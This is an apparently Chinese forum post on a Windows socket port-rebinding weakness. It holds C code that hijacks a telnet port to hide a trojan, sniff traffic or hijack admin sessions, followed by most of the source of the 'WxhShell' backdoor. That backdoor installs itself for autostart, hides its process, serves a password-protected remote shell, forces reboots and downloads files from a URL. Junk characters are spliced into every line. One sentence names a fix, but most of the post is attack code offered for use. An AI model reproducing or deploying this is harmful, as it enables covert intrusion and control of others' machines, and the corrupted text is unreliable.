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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;0gpS y$#  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); i-b7  
XU7bWafy  
  saddr.sin_family = AF_INET; >m!.l{*j>N  
q4= RE  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); hNy S  
-AQX-[B  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 0f1#T gX  
X9HI@M]h  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 OpQa!  
pnU g:R@  
  这意味着什么?意味着可以进行如下的攻击: ,V?,I9qf  
jU$PO\UTk  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 a=dN.OB}F7  
y"ck;OQD  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) p3'+"sFU  
nj$K4_  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 d]]qy  
OLwxGRYX  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  %54![-@  
~T~v*'_h  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #v-!GK_<  
./'n2$^3  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .bGeZwvf:G  
Sj ?'T@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 =Wa\yBj_;m  
E.9F~&DPJ<  
  #include s-B\8&^C  
  #include X'm2uOEj  
  #include 8h97~$7)  
  #include    Jk*MxlA.b  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9':$!Eoq  
  int main() T2{+fR v N  
  { KX`,7-  
  WORD wVersionRequested; e j9G[  
  DWORD ret; |.A>0-']M  
  WSADATA wsaData; ?H&p zY~H  
  BOOL val; `O/)q^m1L  
  SOCKADDR_IN saddr; $BY{:#a]  
  SOCKADDR_IN scaddr; O}Jb,?p  
  int err; &bRH(yF  
  SOCKET s; KJiwM(o  
  SOCKET sc; p* @L1  
  int caddsize; i`~y %y  
  HANDLE mt; J"y@n ~*0  
  DWORD tid;   bBX~ZWw  
  wVersionRequested = MAKEWORD( 2, 2 ); jVz1`\Nje  
  err = WSAStartup( wVersionRequested, &wsaData ); '<Gqu_-  
  if ( err != 0 ) { @j6D#./7j  
  printf("error!WSAStartup failed!\n"); ~a$% a  
  return -1; _,^sI%  
  } )zN )7  
  saddr.sin_family = AF_INET; $gNCS:VG*  
   J*k4&l  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 sAN#j {  
[H1NP'Kg]  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Gu= Rf`o  
  saddr.sin_port = htons(23); <_![~n$H  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N5\<w>  
  { Li2)~4p><  
  printf("error!socket failed!\n"); |1D`v9  
  return -1; nC rNZ&P  
  } 9M<? *8)  
  val = TRUE; VsC]z, oV  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 <Yc:,CU  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) zP9 !fA  
  { X$* 'D)  
  printf("error!setsockopt failed!\n"); }/VHeHd  
  return -1; RY'y%6Z]ZO  
  } oZ}e w!V  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; g:Dg?_o  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 X'c5s~9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 luMNi^FQ  
CbZ1<r" /  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) )~`zjVx_  
  { jnTl%aQYc  
  ret=GetLastError(); NQAnvX;  
  printf("error!bind failed!\n"); f As:[  
  return -1; ^{w&&+#,q  
  } MPt7 /  
  listen(s,2); p,Z6/e[SI  
  while(1) bY>Ug{O;  
  { S;])Nt'X'  
  caddsize = sizeof(scaddr); !o@-kl  
  //接受连接请求 6voK{C4J  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); g_=Q=y@,  
  if(sc!=INVALID_SOCKET) ^.(]i \V_  
  { "a: ;  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $?\],T  
  if(mt==NULL) iB?@(10}ES  
  { Bg`b*(Q  
  printf("Thread Creat Failed!\n"); 78%2#;;G  
  break; 8<^,<?  
  } r (uM$R$o  
  } ^Z*_@A_v  
  CloseHandle(mt); rnr7t \a~]  
  } c|7Pnx%gT  
  closesocket(s); R8 m/N t2  
  WSACleanup(); 7-5q\[ZK  
  return 0; /Hx\ gtV  
  }   U2aE:$oeYi  
  DWORD WINAPI ClientThread(LPVOID lpParam) BXdT;b"J(  
  { p})&Zl)V  
  SOCKET ss = (SOCKET)lpParam; 9qpH 8j+  
  SOCKET sc; P ,i)A  
  unsigned char buf[4096]; oVu>jO:.  
  SOCKADDR_IN saddr; !hq7R]TC+  
  long num; v zn/waw  
  DWORD val; -b{*8(d<I  
  DWORD ret; &0#qy9wx  
  //如果是隐藏端口应用的话,可以在此处加一些判断 p k/#+r;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   )6(mf2&  
  saddr.sin_family = AF_INET; \||PW58j  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); dw&Xg_$  
  saddr.sin_port = htons(23); z+ 4R[+[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $*PyzLS  
  { =y':VIVJC  
  printf("error!socket failed!\n"); 9$_}E`  
  return -1; eE&F1|8  
  } NlKnMgt~  
  val = 100; '~@WJKk  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) yqK82z5U*R  
  { p])km%zB(  
  ret = GetLastError(); <W?,n%  
  return -1; ZGf=/Ra a  
  } Bq!P.%6p4  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) HZ|6&9we  
  { jk|0<-3  
  ret = GetLastError(); 4uz\Me(  
  return -1; {5to;\.  
  } BAxZR  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >fjf] 6  
  { }LM_VZj  
  printf("error!socket connect failed!\n"); A$5T3j'  
  closesocket(sc); qb! vI3  
  closesocket(ss); j'7FTVmJ  
  return -1; 6wF ?FtT  
  } PY^Yx$t9  
  while(1) ?LZ)r^ger  
  { &v:iC u^|  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 i->sw#  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 H P7Ec  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =v_ju;C=  
  num = recv(ss,buf,4096,0); T1x$v,)8x  
  if(num>0) F;zmq%rK  
  send(sc,buf,num,0); 5'o.v^l  
  else if(num==0) OxD\e5r  
  break; !PO(Bfd  
  num = recv(sc,buf,4096,0); d`:0kOF+  
  if(num>0) 04( h!@!g:  
  send(ss,buf,num,0); A.y$.(  
  else if(num==0) _|*j8v3  
  break; rOcfPLJi0  
  } p* ^O 8o  
  closesocket(ss); 9`b*Y*d  
  closesocket(sc); tp1{)|pwY6  
  return 0 ; P$!Ht  
  } cJqPcCq(wn  
@p!["v&  
P017y&X  
========================================================== r2Q"NVw  
-<|E bh d3  
下边附上一个代码,,WXhSHELL vv3dr_l:  
/aK },+  
========================================================== 7Fq|Zc`P  
;BI{v^()s  
#include "stdafx.h" _gc2h@x1O  
[0 W^|=#K  
#include <stdio.h> >_5D`^  
#include <string.h> F~{ 4)`  
#include <windows.h> &;y(@e }D  
#include <winsock2.h> A$-{WN.W  
#include <winsvc.h> 6!bf,T]  
#include <urlmon.h> t rHj7Nw  
p}j{ <y  
#pragma comment (lib, "Ws2_32.lib") I&^?,Fyy<  
#pragma comment (lib, "urlmon.lib") 5B(|!Xq;I  
;B7>/q;g  
#define MAX_USER   100 // 最大客户端连接数 Y(&phv&  
#define BUF_SOCK   200 // sock buffer p>MX}^6  
#define KEY_BUFF   255 // 输入 buffer mX<D]Z< k  
h IGa);g  
#define REBOOT     0   // 重启 nrZv>r  
#define SHUTDOWN   1   // 关机 ok7DI  
V-jo2+Y5=  
#define DEF_PORT   5000 // 监听端口 !1!uB }  
VB[R!S=  
#define REG_LEN     16   // 注册表键长度 *{C)o0D  
#define SVC_LEN     80   // NT服务名长度 FMR0?\jnT  
E P<U:F  
// 从dll定义API :\.v\.wm  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `_f3o,5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H#1/H@I#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C#gQJ=!B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Wve ^2lkoK  
EmLPq!C  
// wxhshell配置信息 yqoi2J:  
struct WSCFG { hwexv 9""  
  int ws_port;         // 监听端口 ,x_g|J _Y  
  char ws_passstr[REG_LEN]; // 口令 w| >Y&/IX  
  int ws_autoins;       // 安装标记, 1=yes 0=no /a]+xL  
  char ws_regname[REG_LEN]; // 注册表键名 3 \kT#nr  
  char ws_svcname[REG_LEN]; // 服务名 I{M2nQi  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {8t;nsdm!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6k ^vF~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;  I=z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E fqa*,k  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c>]_,Br~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ZkqC1u3  
ka]n+"~==\  
}; y{kXd1,  
dso\+s  
// default Wxhshell configuration zO!`sPP  
struct WSCFG wscfg={DEF_PORT, A]R"C:o  
    "xuhuanlingzhe", |=7%Edkd  
    1, #'"h+[XY  
    "Wxhshell", 4h(aTbHaQ  
    "Wxhshell", >q]r)~8F^  
            "WxhShell Service", NMOTWA }2  
    "Wrsky Windows CmdShell Service", Gk!v-h9cq  
    "Please Input Your Password: ", @GGyiK@  
  1, ~r!jVK>^  
  "http://www.wrsky.com/wxhshell.exe", $-o39A#  
  "Wxhshell.exe" G"J6X e  
    }; !4 6 ^}3  
:CH'Bt4<  
// 消息定义模块 4$_8#w B1&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \Z)'':},C  
char *msg_ws_prompt="\n\r? for help\n\r#>"; u |#ruFR  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vnIxI a  
char *msg_ws_ext="\n\rExit."; J :,  
char *msg_ws_end="\n\rQuit."; "i#!  
char *msg_ws_boot="\n\rReboot..."; <nIU]}q  
char *msg_ws_poff="\n\rShutdown..."; n)pBK>+  
char *msg_ws_down="\n\rSave to "; uZ OUp8QQ  
Wmp\J3  
char *msg_ws_err="\n\rErr!"; 1AhL-Lj  
char *msg_ws_ok="\n\rOK!"; EQ7cK63  
OD*DHC2rN]  
char ExeFile[MAX_PATH]; Z5NuLB'  
int nUser = 0;  dedi6Brl  
HANDLE handles[MAX_USER]; K_ RrSI&>  
int OsIsNt; 6C)OO"Bc  
76c}Rk^  
SERVICE_STATUS       serviceStatus; S~m* t i(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }P^n /  
/oWB7l&  
// 函数声明 p-ry{"XA  
int Install(void); )m6=_q5@o  
int Uninstall(void); GZO,]%z  
int DownloadFile(char *sURL, SOCKET wsh); )TXn7{M:  
int Boot(int flag); x!G\-2#  
void HideProc(void); X2o5Hc)l<  
int GetOsVer(void); rvOR[T>  
int Wxhshell(SOCKET wsl); m.lNKIknQ  
void TalkWithClient(void *cs); 1tg   
int CmdShell(SOCKET sock); wu s]  
int StartFromService(void); 3fBq~Q  
int StartWxhshell(LPSTR lpCmdLine); sYXVSNonm  
,m0=zH4+:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +y-:(aP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <Qwi 0$  
$|A vT;4  
// 数据结构和表定义 O:D`6U+0  
SERVICE_TABLE_ENTRY DispatchTable[] = |Z!C`G[  
{ ?5Lom#^  
{wscfg.ws_svcname, NTServiceMain}, vR:t4EJ`  
{NULL, NULL} f *)t<1f  
}; Ndx='j0  
w/ZV9"BhE  
// 自我安装 FUMAvVQ  
int Install(void) viKN:n! Ev  
{ Kz'W |  
  char svExeFile[MAX_PATH]; rJZ-/]Xf!6  
  HKEY key; [D /q%  
  strcpy(svExeFile,ExeFile); mz/KGZ5t  
|n]^gTJt  
// 如果是win9x系统,修改注册表设为自启动 n) `4*d$`  
if(!OsIsNt) { 6s>PZh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Qza[~6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8B\,*JGY2  
  RegCloseKey(key); _*&<hAZj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qB"y'UW8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i"_JF-IbN  
  RegCloseKey(key); ]_#[o S  
  return 0; GVFD_;j'  
    } bx`(d@  
  } 40+E#z)  
} >N44&W  
else { ? BBDk  
M*@MkN*u&  
// 如果是NT以上系统,安装为系统服务 +)ro EJ_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Xa%Z0% {  
if (schSCManager!=0) $^`hu%s,~  
{ #Etz}:%W  
  SC_HANDLE schService = CreateService Jb_/c``  
  ( !07$aQYcd  
  schSCManager, D|UDLaz~  
  wscfg.ws_svcname, <:/V`b3a  
  wscfg.ws_svcdisp, >>&~;PG[  
  SERVICE_ALL_ACCESS, Hs2L$TX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , XbG=H-|  
  SERVICE_AUTO_START, l$PO!JRD  
  SERVICE_ERROR_NORMAL, 69rVW~Z  
  svExeFile, $8X?|fV)  
  NULL, oSE'-8(  
  NULL, @p}H@#/u\  
  NULL, 92eS*x2@  
  NULL, A:k`Ykr[  
  NULL  #]n[  
  ); TS@EE&Wq  
  if (schService!=0) NcqE)"yObo  
  {  vUJb-  
  CloseServiceHandle(schService); {:fyz#>>^  
  CloseServiceHandle(schSCManager); -cJ(iz9!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Fa@#nY|UV3  
  strcat(svExeFile,wscfg.ws_svcname); &a1agi7M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A@&+!sO  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8+ `cv"  
  RegCloseKey(key); Pq;1EI  
  return 0; +X.iJ$)  
    } )WuuU [(  
  } <g,xc)[  
  CloseServiceHandle(schSCManager); g5/8u2d  
} R],,-  
} C\E Z8  
33-=Z9|r  
return 1; >}_c<`:  
} :B)w0tVw  
dqPJ 2j $\  
// 自我卸载 i_f"?X;D  
int Uninstall(void) >>K) 4HYID  
{ u V=rLDY  
  HKEY key; 8={(Vf6  
<K|_M)/9  
if(!OsIsNt) { Bqa%L.N2SS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :|P"`j  
  RegDeleteValue(key,wscfg.ws_regname); 3^ wJ4=^  
  RegCloseKey(key); 6lsU/`.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )Z"7^ i  
  RegDeleteValue(key,wscfg.ws_regname); k' pu%nWN  
  RegCloseKey(key); h&.9Q{D  
  return 0; w QwY_ _  
  } N4'b]:`n  
} 67Ge}6*2pd  
} hF!yp7l;  
else { mn4j#-  
h jW RU#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M[HPHNsA&  
if (schSCManager!=0) S\GG(#b!  
{ m[]p IXc(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h.=YAcR0D  
  if (schService!=0) et/mfzV  
  { G2rxr  
  if(DeleteService(schService)!=0) { SO8Ej)m  
  CloseServiceHandle(schService); )` '  
  CloseServiceHandle(schSCManager); EtN"K-X  
  return 0; o]PSyVg  
  } v]Pw]m5=U  
  CloseServiceHandle(schService); }evc]?1(  
  } In:h%4>  
  CloseServiceHandle(schSCManager); $kkdB,y  
} F1gDeLmJ  
} kax9RH vku  
<&b ~(f  
return 1; V|<qO-#.  
} ';zLh  
?Q:se  
// 从指定url下载文件 /vSFQ}W  
int DownloadFile(char *sURL, SOCKET wsh) ]qhVxeUm  
{ *)g*5kKN  
  HRESULT hr; ]!0 BMZmf  
char seps[]= "/"; v;jrAND  
char *token; ZVgR7+`]#  
char *file; 5as';1^P&*  
char myURL[MAX_PATH]; HwM:bY N  
char myFILE[MAX_PATH]; >/ HC{.k  
(f $Y0;v>}  
strcpy(myURL,sURL); L.ndLd  
  token=strtok(myURL,seps); j3sUZg|d  
  while(token!=NULL) q>!T*BQ  
  { m <aMb  
    file=token; &A=d7ASN=  
  token=strtok(NULL,seps); 9`-ofwr'|  
  } ]^ZC^z;H  
2|w(d  
GetCurrentDirectory(MAX_PATH,myFILE); =@w};e#D  
strcat(myFILE, "\\"); A3!NEFBK  
strcat(myFILE, file); iTqv=  
  send(wsh,myFILE,strlen(myFILE),0); aN%t>*?Xa  
send(wsh,"...",3,0);  YVD%GJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); UU$ +DL  
  if(hr==S_OK) plb'EP>e  
return 0; G@ed2T  
else +~8/7V22  
return 1; YWd:Ok0  
D;d 'ss;  
} f5mk\^  
gd#  
// 系统电源模块 %Xkynso~  
int Boot(int flag) K31Fp;K  
{ -V_e=Y<J/  
  HANDLE hToken; >L[,.}(9  
  TOKEN_PRIVILEGES tkp; QF!K$?EU[  
*l_1T4]S  
  if(OsIsNt) {  2Np9*[C  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0z.`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); x/bO;9E%U4  
    tkp.PrivilegeCount = 1; AUzJ:([V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ww+XE2,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); bZERh:%o  
if(flag==REBOOT) { PN+,M50;1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) nLdI>c9R  
  return 0; @fbvu_-].  
} {K_YW  
else { /0Zwgxt4?7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0`,a@Q4  
  return 0; pr@8PD2%  
} gaTI:SKzc  
  } )<-kS  
  else { 'Kp|\T r  
if(flag==REBOOT) { @2kt6 W  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !\+SE"ml  
  return 0; gHYYxhW$  
} `'+[Y;s_  
else { z$%ntN#eNA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F RS@-P  
  return 0; H)t8d_^|j  
} vA(3H/)-  
} &$< S1  
mZMLDs:  
return 1; j"}alS`-  
} AP/tBC eM  
wjKW 3  
// win9x进程隐藏模块 f<0-'fGJd  
void HideProc(void) CZ|Y o  
{ &eK8v]|"W  
8%vk"h:u:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); JF24~Q4P  
  if ( hKernel != NULL ) J|,| *t  
  { CQ#p2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7}TjOWC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); EQu M|4$ix  
    FreeLibrary(hKernel); b`18y cVME  
  } HO & #Lv  
xxiEL2"`>  
return; 8~}Ti*Urc  
} \T<?=A  
jc)D*Cf  
// 获取操作系统版本 pA1Tod  
int GetOsVer(void) mw?,oiT,)  
{ _g$6vx&  
  OSVERSIONINFO winfo; {9_CH<$W%U  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4`!(M]u=  
  GetVersionEx(&winfo); DQKhR sC  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) LD]XN'?"W  
  return 1; gd/W8*NFR  
  else l,,5OZw  
  return 0; M6y:ze  
} "d%":F(  
9b()ck-\F#  
// 客户端句柄模块 ,v>P05  
int Wxhshell(SOCKET wsl) =(.HO:#  
{ 2l8jw:=H  
  SOCKET wsh; M)Ogb '@#  
  struct sockaddr_in client; 0&c12W|B<L  
  DWORD myID; YadyRUE  
{@B<$g   
  while(nUser<MAX_USER) /1o~x~g(b  
{ L[##w?Xf.  
  int nSize=sizeof(client); 5I t+ S+a  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8 :Z3Q  
  if(wsh==INVALID_SOCKET) return 1; viY _Y.Yjy  
$I>.w4G}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); LGRX@nF#  
if(handles[nUser]==0) RUSBJsMB  
  closesocket(wsh); ^EM##Ss_  
else :2K0/@<x  
  nUser++; Z`q?pE>R  
  } @/B&R^aVZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b.;F)(  
&YqgMC  
  return 0; %3'80u6BCJ  
} e"[o2=v;5  
V mKMj'  
// 关闭 socket n#bC ,  
void CloseIt(SOCKET wsh) TJ2$ Z  
{ 3 LoB-4u?  
closesocket(wsh); 80 i<Ij8J  
nUser--; ndW? ?wiM  
ExitThread(0); z9'ME   
} |;Jcf3e(  
Rf2;O<  
// 客户端请求句柄 'd0]`2tVg4  
void TalkWithClient(void *cs) 3QU<vdtr  
{ O62H4oT  
V. \do"m  
  SOCKET wsh=(SOCKET)cs; iHWl%]7sN  
  char pwd[SVC_LEN]; A$[@AY$MI  
  char cmd[KEY_BUFF]; F0+u#/#  
char chr[1]; ]"{K5s7  
int i,j; iS=} | 8"  
qZCA16  
  while (nUser < MAX_USER) { ZIkXy*<(  
|V%Qp5 XJ  
if(wscfg.ws_passstr) { wM_k D  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [p[Kpunr{l  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O .m; a_  
  //ZeroMemory(pwd,KEY_BUFF); -~]*)&  
      i=0; J=| fxR  
  while(i<SVC_LEN) { C!%BW%"R  
e ST8>r  
  // 设置超时 D~U 4K-  
  fd_set FdRead; IGOqV>;  
  struct timeval TimeOut; %j{gZTz-  
  FD_ZERO(&FdRead); Rco#?'  
  FD_SET(wsh,&FdRead); ;~#rd L  
  TimeOut.tv_sec=8; oG3>lqBwD2  
  TimeOut.tv_usec=0; vfcj,1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); UIovv%7zZ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); YPFjAQ  
|SQ5Sb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _l{G Hz  
  pwd=chr[0]; NuLQkf)  
  if(chr[0]==0xd || chr[0]==0xa) { 28>gAz.#  
  pwd=0; _;L9&>!p6  
  break; !T#~.QP4  
  } ,*}SfCon  
  i++; mp+ %@n.;  
    } 4}gqtw:  
q.g<gu]  
  // 如果是非法用户,关闭 socket L6J=m#Ld  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s+h`,gg9  
} BC 9rsb  
<Gr{h>b  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Qt+ K,LY  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -|"mB"Dc  
q} U^H  
while(1) { 1|q$Wn:*  
)$]_;JFr  
  ZeroMemory(cmd,KEY_BUFF); uIiE,.Uu}  
v<HhB.t.  
      // 自动支持客户端 telnet标准   {^1D|y  
  j=0; \%K< S  
  while(j<KEY_BUFF) { #\GWYWkR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a=.A/;|0*  
  cmd[j]=chr[0]; 0 x4p!5  
  if(chr[0]==0xa || chr[0]==0xd) { $*\[I{Zau}  
  cmd[j]=0; jyb/aov  
  break; )F8G q,  
  } r**u=q %p  
  j++; 4S`2")V  
    } Fi14_{  
[x kbzJ  
  // 下载文件 #9F=+[L  
  if(strstr(cmd,"http://")) { F%UyFUz  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); N~=p+Ow[H  
  if(DownloadFile(cmd,wsh)) ts<5%{M(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); CC;T[b&  
  else c0sU1:e0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =EA*h_"q9  
  } v2 T+I]I  
  else { Q"h/o"-h  
2,{m>fF  
    switch(cmd[0]) { ypSW9n  
  1(CpTaa  
  // 帮助 WV]Si2pOZ  
  case '?': { <7~HG(ks  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U,_uy@fE=?  
    break; ps\A\aggML  
  } NldeD2~H  
  // 安装 =6y4*f  
  case 'i': { WZOi,  
    if(Install()) p-POg%|&<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,edX;`#  
    else )hGRq'WA=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wf)T-]e  
    break; F4xYfbwY"]  
    } R^.E";/h  
  // 卸载 k|(uIU* ]  
  case 'r': { F *_g3K!!  
    if(Uninstall()) xc7Wk&{=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wR@&C\}9  
    else K;a]+9C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *e&OpVn  
    break; &U^6N+l9  
    } 0,a\vs%@X  
  // 显示 wxhshell 所在路径 2MS1<VKZ@  
  case 'p': { 9tDo5 29  
    char svExeFile[MAX_PATH]; ]vo&NE  
    strcpy(svExeFile,"\n\r"); OSY$qL2  
      strcat(svExeFile,ExeFile); 'H+H4(  
        send(wsh,svExeFile,strlen(svExeFile),0); _WO*N9Iz  
    break; F'^6 ra9  
    } hK5BOq!y  
  // 重启 tgCEz%  
  case 'b': { se(ZiyHp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P~HzN C  
    if(Boot(REBOOT)) j qfxQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .Zv@iL5  
    else { `dO)}}| y  
    closesocket(wsh); Xxhzzm-B  
    ExitThread(0); 00X~/'!  
    } Wnm?a!j5  
    break; UIPi<_Xa  
    } owM3Gz%?UA  
  // 关机 biLx-F c  
  case 'd': { }SpjB  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); scZdDbL6+  
